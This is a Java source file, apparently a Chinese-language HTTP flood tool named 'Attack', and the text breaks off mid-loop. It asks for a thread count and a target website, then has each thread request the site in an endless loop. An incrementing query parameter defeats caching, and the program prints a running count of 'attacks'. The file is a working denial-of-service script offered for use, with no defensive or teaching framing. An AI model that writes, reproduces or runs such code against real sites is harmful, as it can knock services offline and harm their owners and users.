import java.io.IOException;import java.io.InputStream;import java.net.HttpURLConnection;import java.net.MalformedURLException;import java.net.URL;import java.util.Scanner;public class Attack implements Runnable { private static String strUrl = null; private static long numL = 0; private static Scanner scanner = new Scanner(System.in); public void run() { HttpURLConnection connection = null; InputStream urlStream = null; URL url = null; while(true) { try { url = new java.net.URL(strUrl + numL);//得到URL connection = (java.net.HttpURLConnection)url.openConnection(); connection.connect(); urlStream = connection.getInputStream(); if(urlStream != null){ ++numL; urlStream.close(); System.out.println("攻击了" + numL + "次"); } Thread.sleep(1); } catch (InterruptedException e) { e.getMessage(); try{ Thread.sleep(1); } catch(InterruptedException ie){ ie.printStackTrace(); } } catch (MalformedURLException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } } } public static void main(String[] args) throws MalformedURLException{ int threadNum; System.out.println(""); do{ System.out.println("请输入要生成的线程数:"); threadNum = scanner.nextInt(); System.out.println("请输入要攻击的网址:"); String str = scanner.next(); if(!str.startsWith("")){ strUrl = "http://" + str; System.out.println(strUrl); }else{ strUrl = str; } if(str.indexOf("?") >=0 ){ strUrl = strUrl + "&num="; }else{ strUrl = strUrl + "?num="; } System.out.println("--------------------------------------"); System.out.println("线程数:" + threadNum); System.out.println("攻击地址" + str); System.out.println("请再次确认(Y/N):"); String tmp = scanner.next(); if("Y".equalsIgnoreCase(tmp)){ break; }else if("N".equalsIgnoreCase(tmp)){ }else{ System.out.println("输入错误,请重新输入(Y/N):"); } }while(true); for(int i=0; i